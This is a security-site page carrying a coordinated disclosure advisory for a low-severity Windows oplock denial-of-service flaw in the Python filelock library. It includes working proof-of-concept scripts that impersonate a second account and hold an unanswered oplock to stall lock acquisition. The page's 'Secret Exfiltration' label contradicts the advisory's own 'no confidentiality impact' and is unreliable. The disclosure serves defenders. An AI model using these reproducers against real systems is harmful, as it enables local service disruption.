HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 112907 filelock on windows an oplock on a soft locks
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Low ยท CVSS 2.5CVE-2026-112907GHSA-567Q-5QVW-PF92

filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale breakCVE-2026-112907

Answer in brief

CVE-2026-112907 records a Low severity (CVSS 2.5) vulnerability in filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break. The current sources do not mark it as known exploited. The current feed maps filelock (pip), filelock (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Oct 23, 2026Updated Oct 23, 2026Source checked Oct 23, 2026First seen by HOL Oct 23, 2026Material review Oct 23, 2026
Upstream Advisory

Record context

Vulnerability class
Secret Exfiltration
EPSS
Not reported
CWE IDs
CWE-667
Source
GitHub Security Advisories
Source checked
Oct 23, 2026
References
6 linked sources
Open source record

Key facts

Risk
Low ยท CVSS 2.5
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 2.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps filelock (pip), filelock (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
filelockpip>=3.22.0,<=4.2.04.2.1
filelockpypi>=3.22.0 <4.2.14.2.1

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for filelock, filelock.
  2. 2Review the reported fix. Update filelock to 4.2.1; filelock to 4.2.1 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Oct 23, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 23, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 23, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

On Windows the soft locks (`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async forms, and a `FileLock` that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each `acquire()` attempt that finds a marker opens it with `os.open` to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle. Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every `acquire()` by the user running the lock (below: the lock user) then waits inside the open, past its `timeout`, `blocking=False` and `cancel_check`, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 2.5 (Low).** `AV:L` (local): the other account needs a logon on the same host. `AC:H` (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its `lifetime`. `PR:L` (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` and `I:N`: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. `A:L` (partial availability impact): one thread, or the event loop with `run_in_executor=False`, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading. Classification from the review: **security, conditional** on an unheld marker that another account can open. ## Scope and preconditions - Platform and classes: Windows only. `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, `AsyncSoftFileLock` and the other async soft locks, and `FileLock` after its `ENOSYS` fallback to a soft lock. `WindowsFileLock` opens its lock file on a separate code path that this advisory does not cover. - Marker access: the soft locks create the marker with `os.open`, which on Windows applies no more of `mode` than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete. - Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose `lifetime` has passed. While the holder keeps its handle, the request fails. - Holder behavior: the other account requests the oplock through an overlapped `DeviceIoControl` and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time. - What the lock user sees: `SoftFileLock.acquire(timeout=1)` returned `Timeout` after 10.02 s with the second account's handle. In the same-account probe `os.open` with `O_RDONLY` was still running after 15 s and returned once the holder closed. The retry loop consults `timeout`, `blocking=False` and `cancel_check` between attempts only. With `AsyncSoftFileLock(run_in_executor=False)` the event loop waits. - Stale break: `break_lock_file` renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes. - Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker. ## Affected code Scanned commit `b831496b0273`: the [`os.open` in `_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L323) ([function](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L335)), called from [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) on every attempt that finds a marker, and from [`_unprobeable_holder`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L137), [`pid`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L164) and [`is_lock_held_by_us`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L179). [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L84-L122) renames at L116 and unlinks at L118 and L122, by path. [`_poll_until_acquired`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1378-L1408) and [`_check_give_up`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1590-L1608) test the deadline, `blocking` and `cancel_check` only between attempts. ## Introduced [e35c3af](https://github.com/tox-dev/filelock/commit/e35c3af) "feat(soft): detect and break stale locks" ([#476](https://github.com/tox-dev/filelock/pull/476), 2026-02-13), first tag 3.22.0 (verified with `git tag --contains`). Before it a soft lock created its marker with `O_CREAT | O_EXCL` and never opened an existing one. #476 read the marker on Windows through `CreateFileW` and broke a stale one with `Path.rename` and `Path.unlink`. These wait for an oplock as `os.open` does, because none of them passes `FILE_COMPLETE_IF_OPLOCKED`, an `NtCreateFile` option that returns instead of waiting. The read became the `os.open` in `_read_lock_file` with [bfbfa76](https://github.com/tox-dev/filelock/commit/bfbfa76) ([#548](https://github.com/tox-dev/filelock/pull/548), 3.29.1) and the break moved into `break_lock_file` with [d244c6d](https://github.com/tox-dev/filelock/commit/d244c6d) ([#551](https://github.com/tox-dev/filelock/pull/551), 3.29.2); the by-path calls stayed. ## Mechanism Each attempt of `_acquire` first calls `os.open(path, O_WRONLY | O_CREAT | O_EXCL)`. On an existing marker that fails with `EEXIST` (or `EACCES` on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. `_acquire` then calls `_try_break_stale_lock`, which calls `_read_lock_file`: `os.lstat`, then `os.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK)`. On Windows `O_NOFOLLOW` and `O_NONBLOCK` do not exist (the code reads them with `getattr(os, ..., 0)`), and `os.open` calls `CreateFileW`. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. `_check_give_up` tests the deadline after the attempt returns, so the wait overruns `timeout`, `blocking=False` and `cancel_check` by its length. Once the open returns, the attempt ends and `_check_give_up` raises `Timeout`, because the deadline has passed. A marker whose holder is gone takes the second path. `break_lock_file` renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows `os.rename` and `os.unlink` still running after 15 s and returning once the holder closed. The `lifetime` break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two `acquire()` calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait. ## Reproduction The review's reproducers, quoted as received. `oplock_vm.py` section `[2]` is this finding; sections `[1a]` and `[1b]` belong to the `release()` advisory. `oplock_semantics_vm.py` is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #835 at `3e4c5ef`, where `_read_lock_file` and `break_lock_file` are the same code as at `b831496b0273` apart from import changes. The second account `fltester` is a member of `Users`; the directory grants it `(OI)(CI)(M)`. **`oplock_vm.py`** ```python """ Windows oplock checks beyond the lock-file open PR #835 changes: release() and the soft locks' marker read. Run on the VM (PowerShell, from the synced worktree, with the fltester account present): C:\\venvs\\rev4F\\Scripts\\python.exe oplock_vm.py fltester '<password>' C:\\tmp\\rev4F-oplock [1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete. WindowsFileLock._release closes its handle and then unlinks by path; an oplock granted in between makes the DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is; [1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it. [2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the marker through os.open, which waits for the acknowledgement, past timeout=1. A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end. """ from __future__ import annotations import ctypes import os import subprocess import sys import threading import time from ctypes import wintypes from filelock import FileLock, SoftFileLock, Timeout user, password, base = sys.argv[1], sys.argv[2], sys.argv[3] icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe") os.makedirs(base, exist_ok=True) subprocess.run([icacls, base, "/grant", f"{user}:(OI)(CI)(M)"], check=True, capture_output=True) advapi32 = ctypes.WinDLL("advapi32", use_last_error=True) kernel32 = ctypes.WinDLL("kernel32", use_last_error=True) advapi32.LogonUserW.argtypes = [ wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE), ] kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE kernel32.CreateFileW.argtypes = [ wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.c_void_p, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE, ] class Overlapped(ctypes.Structure): _fields_ = ( ("Internal", ctypes.c_void_p), ("InternalHigh", ctypes.c_void_p), ("Offset", wintypes.DWORD), ("OffsetHigh", wintypes.DWORD), ("hEvent", wintypes.HANDLE), ) kernel32.DeviceIoControl.argtypes = [ wintypes.HANDLE, wintypes.DWORD, ctypes.c_void_p, wintypes.DWORD, ctypes.c_void_p, wintypes.DWORD, ctypes.c_void_p, ctypes.POINTER(Overlapped), ] kernel32.CloseHandle.argtypes = [wintypes.HANDLE] kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD] GENERIC_READ = 0x80000000 SHARE_ALL = 0x7 OPEN_EXISTING = 3 FLAG_OVERLAPPED = 0x40000000 INVALID_HANDLE = wintypes.HANDLE(-1).value FSCTL_REQUEST_OPLOCK_LEVEL_1 = 0x00090000 ERROR_IO_PENDING = 997 hold = threading.Event() real_unlink = os.unlink def impersonate() -> None: token = wintypes.HANDLE() if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)): raise ctypes.WinError(ctypes.get_last_error()) if not advapi32.ImpersonateLoggedOnUser(token): raise ctypes.WinError(ctypes.get_last_error()) def request_level1(path: str) -> tuple[int, Overlapped] | None: handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None) if handle == INVALID_HANDLE: return None overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None)) if ( not kernel32.DeviceIoControl(handle, FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, None, 0, None, ctypes.byref(overlapped)) and ctypes.get_last_error() == ERROR_IO_PENDING ): return handle, overlapped kernel32.CloseHandle(handle) kernel32.CloseHandle(overlapped.hEvent) return None def drop(granted: tuple[int, Overlapped]) -> None: handle, overlapped = granted kernel32.CloseHandle(handle) kernel32.WaitForSingleObject(overlapped.hEvent, 5000) kernel32.CloseHandle(overlapped.hEvent) def release_under_oplock_requests(label: str, lock_path: str, cycles: int) -> bool: stop = threading.Event() granted_box: list[tuple[int, Overlapped]] = [] def spinner() -> None: impersonate() while not stop.is_set(): if (granted := request_level1(lock_path)) is not None: granted_box.append(granted) hold.wait() return releasing = threading.Event() release_durations: list[float] = [] def owner() -> None: # thread_local locks release only on the acquiring thread, so acquire and release stay on this one for _ in range(cycles): lock = FileLock(lock_path, is_singleton=False) lock.acquire(timeout=5) started = time.monotonic() releasing.set() lock.release() releasing.clear() release_durations.append(time.monotonic() - started) if granted_box: return holder = threading.Thread(target=spinner, daemon=True) holder.start() owner_thread = threading.Thread(target=owner, daemon=True) owner_thread.start() owner_thread.join(60) stalled = owner_thread.is_alive() and releasing.is_set() stop.set() longest = max(release_durations, default=0.0) * 1000 print(f" {label}: oplock granted: {bool(granted_box)}; cycles run: {len(release_durations)}; longest release: {longest:.1f} ms") if stalled: print(" release() still running after 60 s while the oplock holder has not answered the break") if granted_box: drop(granted_box[0]) owner_thread.join(10) print(f" release() returned after the holder closed its handle: {not owner_thread.is_alive()}") return stalled print("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window") stalled_native = release_under_oplock_requests("natural", os.path.join(base, "native.lock"), 500) print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms") def slow_unlink(path: str, *, dir_fd: int | None = None) -> None: time.sleep(0.2) real_unlink(path, dir_fd=dir_fd) os.unlink = slow_unlink stalled_scheduled = release_under_oplock_requests("scheduled", os.path.join(base, "native-scheduled.lock"), 20) os.unlink = real_unlink print("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker") marker = os.path.join(base, "soft.lock") holder = SoftFileLock(marker, is_singleton=False) holder.acquire() holder_fd = holder._context.lock_file_fd # noqa: SLF001 os.close(holder_fd) # the marker stays with a live PID, as after a holder that lost only its handle impersonate_done = threading.Event() granted_soft: list[tuple[int, Overlapped]] = [] def take_soft_oplock() -> None: impersonate() if (granted := request_level1(marker)) is not None: granted_soft.append(granted) impersonate_done.set() hold.wait() threading.Thread(target=take_soft_oplock, daemon=True).start() impersonate_done.wait(5) print(f" oplock granted: {bool(granted_soft)}") outcome = ["still running after 25 s"] def contend() -> None: started = time.monotonic() try: SoftFileLock(marker, is_singleton=False).acquire(timeout=1) outcome[0] = f"acquired after {time.monotonic() - started:.2f} s" except Timeout: outcome[0] = f"Timeout after {time.monotonic() - started:.2f} s" except OSError as error: outcome[0] = f"{type(error).__name__} after {time.monotonic() - started:.2f} s: {error}" contender = threading.Thread(target=contend, daemon=True) contender.start() contender.join(25) print(f" contender: {outcome[0]}") soft_stalled = "still running" in outcome[0] if granted_soft: drop(granted_soft[0]) contender.join(10) print(f" after the holder closed: {outcome[0]}") hold.set() print("STALLS" if stalled_native or stalled_scheduled or soft_stalled else "BOUNDED") ``` Recorded output of section `[2]`: ``` [2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker oplock granted: True contender: Timeout after 10.02 s after the holder closed: Timeout after 10.02 s ``` **`oplock_semantics_vm.py`** ```python """ Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process. Run on the VM: C:\\venvs\\rev4F\\Scripts\\python.exe oplock_semantics_vm.py C:\\tmp\\rev4F-sem """ from __future__ import annotations import ctypes import os import sys import threading import time from ctypes import wintypes base = sys.argv[1] os.makedirs(base, exist_ok=True) kernel32 = ctypes.WinDLL("kernel32", use_last_error=True) kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE kernel32.CreateFileW.argtypes = [ wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.c_void_p, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE, ] class Overlapped(ctypes.Structure): _fields_ = ( ("Internal", ctypes.c_void_p), ("InternalHigh", ctypes.c_void_p), ("Offset", wintypes.DWORD), ("OffsetHigh", wintypes.DWORD), ("hEvent", wintypes.HANDLE), ) kernel32.DeviceIoControl.argtypes = [ wintypes.HANDLE, wintypes.DWORD, ctypes.c_void_p, wintypes.DWORD, ctypes.c_void_p, wintypes.DWORD, ctypes.c_void_p, ctypes.POINTER(Overlapped), ] kernel32.CloseHandle.argtypes = [wintypes.HANDLE] kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD] GENERIC_READ, GENERIC_WRITE = 0x80000000, 0x40000000 SHARE_ALL, OPEN_EXISTING, FLAG_OVERLAPPED = 0x7, 3, 0x40000000 INVALID_HANDLE = wintypes.HANDLE(-1).value LEVELS = {"level1": 0x00090000, "batch": 0x00090008} def take(path: str, level: str) -> tuple[int, Overlapped]: handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None) overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None)) pending = not kernel32.DeviceIoControl(handle, LEVELS[level], None, 0, None, 0, None, ctypes.byref(overlapped)) assert pending and ctypes.get_last_error() == 997, ctypes.get_last_error() return handle, overlapped def drop(granted: tuple[int, Overlapped]) -> None: kernel32.CloseHandle(granted[0]) kernel32.WaitForSingleObject(granted[1].hEvent, 5000) kernel32.CloseHandle(granted[1].hEvent) def timed(label: str, operation) -> None: # noqa: ANN001 done = threading.Event() result = ["still running after 15 s"] def run() -> None: started = time.monotonic() try: operation() result[0] = f"returned after {(time.monotonic() - started) * 1000:.1f} ms" except OSError as error: result[0] = f"{type(error).__name__} after {(time.monotonic() - started) * 1000:.1f} ms: {error}" done.set() threading.Thread(target=run, daemon=True).start() done.wait(15) print(f" {label}: {result[0]}") return done def open_read(path: str) -> None: os.close(os.open(path, os.O_RDONLY | os.O_BINARY)) def open_write(path: str) -> None: os.close(os.open(path, os.O_RDWR | os.O_BINARY)) def create_new(path: str) -> None: os.close(os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_BINARY)) for level in LEVELS: for label, operation, consumes in ( ("os.open O_RDONLY", open_read, False), ("os.open O_RDWR", open_write, False), ("os.open O_CREAT|O_EXCL on the existing file", create_new, False), ("os.utime by path", lambda p: os.utime(p, None), False), ("os.rename", lambda p: os.rename(p, p + ".moved"), True), ("os.unlink", os.unlink, True), ): path = os.path.join(base, f"{level}-{label.replace(' ', '_').replace('|', '')}.lock") with open(path, "w", encoding="utf-8") as handle: handle.write("1\nhost\n") granted = take(path, level) print(f"{level}, {label}") done = timed(label, lambda p=path, op=operation: op(p)) drop(granted) done.wait(5) print(f" after the holder closed: {'done' if done.is_set() else 'still running'}") ``` The review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock, `os.open(path, os.O_RDONLY)`, `os.rename` and `os.unlink` were still running after 15 s and returned only once the holder closed its handle; `os.utime` by path and a failed `O_CREAT | O_EXCL` create returned at once. ## Failure sequence ```mermaid sequenceDiagram participant A as other local account participant M as soft.lock marker, no handle open participant L as lock user: SoftFileLock(path).acquire(timeout=1) participant W as Windows (NTFS) A->>W: CreateFileW(soft.lock, GENERIC_READ, share read/write/delete, FILE_FLAG_OVERLAPPED) A->>W: DeviceIoControl(FSCTL_REQUEST_OPLOCK_LEVEL_1), granted, break never acknowledged L->>W: os.open(soft.lock, O_CREAT|O_EXCL) fails with EEXIST at once L->>W: os.lstat(soft.lock) regular file rect rgb(255, 214, 214) L->>W: os.open(soft.lock, O_RDONLY) inside _read_lock_file Note over L,W: CreateFileW asks A to break the oplock and waits#59; the 1 s deadline, blocking=False and cancel_check are not consulted W-->>L: handle after 10.02 s (two-account run), or when A closes (same-account probe) end L->>L: _check_give_up: past the deadline, raise Timeout after 10.02 s Note over A,M: a stale marker takes the same wait in Path.rename and Path.unlink, so it is not broken ``` ## Evidence Section `[2]` of `oplock_vm.py` acquired `soft.lock` as the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (`oplock granted: True`), and ran `SoftFileLock(marker, is_singleton=False).acquire(timeout=1)` on a thread. The call returned `Timeout` after 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section `[1a]` of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (`oplock_semantics_vm.py`) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create and `os.utime` by path return at once, so the wait is in the read and the break, not in the create attempt. ## Impact Each `acquire()` of a soft lock that finds a marker another account holds an oplock on runs past its `timeout`, `blocking=False` and `cancel_check` until the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. With `AsyncSoftFileLock(run_in_executor=False)` the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, and `FileLock` is a soft lock on builds without `fcntl` and after its `ENOSYS` fallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted. ## Workarounds - Keep soft-lock markers in a directory whose ACL grants other accounts no access to new files: a directory inside the user profile, or one with inheritance removed and only the owner, `SYSTEM` and `Administrators` granted (`icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F"`). `mode` does not do this on Windows. - Run `AsyncSoftFileLock` with the default executor rather than `run_in_executor=False`, so that only a worker thread waits. - No `timeout`, `blocking` or `cancel_check` value bounds the wait. ## Patched version 4.2.1. Fix: https://github.com/tox-dev/filelock/pull/835 ## Credits Found by the maintainers while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4). - 2026-10-15 23:08 UTC: report received (36 findings; this defect is not among them) - 2026-10-16 01:16 UTC: fix PR #835 opened, for the Linux lease finding of GHSA-7hmp-gf99-57hx - 2026-10-16 08:25 UTC: finding identified in the maintainers' review of PR #835 - 2026-10-16 22:43 UTC: draft advisory created

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its databaseSame filelock package
  • pypdf: Possible long runtimes for repeated references to the same missing objectSame pip ecosystem
  • pypdf: Possible long runtimes for large xref table header limitsSame pip ecosystem
  • pypdf: Possible long runtimes for repeated malformed cross-reference entries (Follow-up)Same pip ecosystem
  • virtualenv: Bash activator leaves the --prompt value unescaped in PS1 when promptvars is off, so prompt expansion later executes it (regression in 21.14.9)Same pip ecosystem
  • Twisted: Denial of Service in the Twisted IMAP4 Server via a Negative Literal Size in SEARCHSame pip ecosystem